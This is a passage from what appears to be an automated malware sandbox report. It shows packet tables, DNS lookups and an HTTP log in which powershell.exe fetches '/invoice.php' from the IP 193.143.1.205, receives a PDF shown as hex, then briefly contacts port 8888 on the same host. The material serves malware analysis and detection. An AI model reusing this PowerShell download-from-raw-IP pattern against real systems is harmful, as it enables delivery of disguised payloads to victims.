Jan 15, 2025 20:42:03.114423990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.114434958 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.114444971 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.114469051 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.114494085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.114494085 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.114506960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.114518881 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.114527941 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.114543915 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.114561081 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.114603043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.114614010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.114625931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.114634037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.114656925 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.114684105 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.130932093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.130954027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.130963087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.130974054 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.131006002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.131016970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.131026983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.131046057 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.131057024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.131067038 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.131068945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.131095886 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.178641081 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.400788069 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.400871038 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.419387102 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.424225092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.424241066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.424252987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.424318075 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.472724915 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.574908972 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.579873085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.579893112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.579902887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.579912901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.579922915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.579932928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.579942942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.579952955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.579962969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.579972029 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.579982996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.579993010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.579998016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580003023 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580005884 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.580029011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580044985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580054045 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580059052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580061913 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.580065012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580076933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580085993 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580096006 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580104113 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.580111027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580122948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580132961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580133915 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.580142975 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580153942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580162048 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.580167055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580178022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580178976 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.580189943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580200911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580207109 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.580210924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580221891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580226898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580239058 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.580239058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580256939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580257893 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.580269098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580279112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580288887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580298901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580298901 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.580315113 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.580342054 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.580364943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580375910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580384016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580390930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580399990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580410004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580421925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580430031 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.580434084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580445051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580454111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580462933 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.580476999 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.580491066 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.580667019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580677032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580688000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580697060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580708027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580708981 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.580718994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580732107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580739021 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.580765963 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.580802917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580818892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580830097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580837965 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.580840111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580851078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580859900 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.580862045 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580873966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580883026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580892086 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.580895901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580904961 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.580907106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580919027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580928087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580935001 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.580940008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580967903 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.580976009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580986023 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.580990076 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.580996990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.581007004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.581016064 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.581017017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.581028938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.581038952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.581047058 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.581049919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.581062078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.581072092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.581072092 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.581082106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.581091881 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.581093073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.581104040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.581115961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.581116915 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.581126928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.581145048 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.581634998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.581645012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.581655979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.581670046 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.581672907 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.581684113 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.581695080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.581703901 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.581705093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.581716061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.581728935 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.581733942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.581742048 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.581744909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.581758022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.581768990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.581775904 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.581779957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.581792116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.581803083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.581805944 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.581814051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.581819057 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.581826925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.581855059 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.581878901 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.582036972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.582047939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.582058907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.582068920 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.582079887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.582087994 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.582101107 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.582173109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.582190037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.582200050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.582209110 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.582211971 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.582223892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.582231998 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.582235098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.582247019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.582254887 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.582257986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.582268953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.582278013 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.582281113 CET	80	49709	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:03.582299948 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.628972054 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:03.951930046 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:04.185194969 CET	49709	80	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:04.586059093 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:04.590851068 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:04.590949059 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:04.591137886 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:04.595870018 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:05.413424969 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 15, 2025 20:42:05.457101107 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:05.862013102 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 15, 2025 20:42:42.605902910 CET	65212	53	192.168.2.6	162.159.36.2
Jan 15, 2025 20:42:42.610763073 CET	53	65212	162.159.36.2	192.168.2.6
Jan 15, 2025 20:42:42.610851049 CET	65212	53	192.168.2.6	162.159.36.2
Jan 15, 2025 20:42:42.615657091 CET	53	65212	162.159.36.2	192.168.2.6
Jan 15, 2025 20:42:43.064418077 CET	65212	53	192.168.2.6	162.159.36.2
Jan 15, 2025 20:42:43.069628954 CET	53	65212	162.159.36.2	192.168.2.6
Jan 15, 2025 20:42:43.069698095 CET	65212	53	192.168.2.6	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 20:42:14.713115931 CET	50606	53	192.168.2.6	1.1.1.1
Jan 15, 2025 20:42:42.604558945 CET	53	54490	162.159.36.2	192.168.2.6
Jan 15, 2025 20:42:43.088526964 CET	53	61873	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 15, 2025 20:42:14.713115931 CET	192.168.2.6	1.1.1.1	0xc30a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 15, 2025 20:42:14.720753908 CET	1.1.1.1	192.168.2.6	0xc30a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 20:42:15.435923100 CET	1.1.1.1	192.168.2.6	0x9536	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:42:15.435923100 CET	1.1.1.1	192.168.2.6	0x9536	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:42:28.544209957 CET	1.1.1.1	192.168.2.6	0x5447	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:42:28.544209957 CET	1.1.1.1	192.168.2.6	0x5447	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:42:41.605385065 CET	1.1.1.1	192.168.2.6	0xcb5a	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:42:41.605385065 CET	1.1.1.1	192.168.2.6	0xcb5a	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:43:05.730714083 CET	1.1.1.1	192.168.2.6	0xcee0	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:43:05.730714083 CET	1.1.1.1	192.168.2.6	0xcee0	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:43:16.600274086 CET	1.1.1.1	192.168.2.6	0x7998	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:43:16.600274086 CET	1.1.1.1	192.168.2.6	0x7998	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:43:29.852937937 CET	1.1.1.1	192.168.2.6	0xc2b6	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:43:29.852937937 CET	1.1.1.1	192.168.2.6	0xc2b6	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	193.143.1.205	80	5724	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 20:42:01.620599031 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 15, 2025 20:42:02.485102892 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Wed, 15 Jan 2025 19:42:02 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 15, 2025 20:42:02.485152960 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 15, 2025 20:42:02.485188961 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 15, 2025 20:42:02.485222101 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 15, 2025 20:42:02.485256910 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 15, 2025 20:42:02.485291004 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
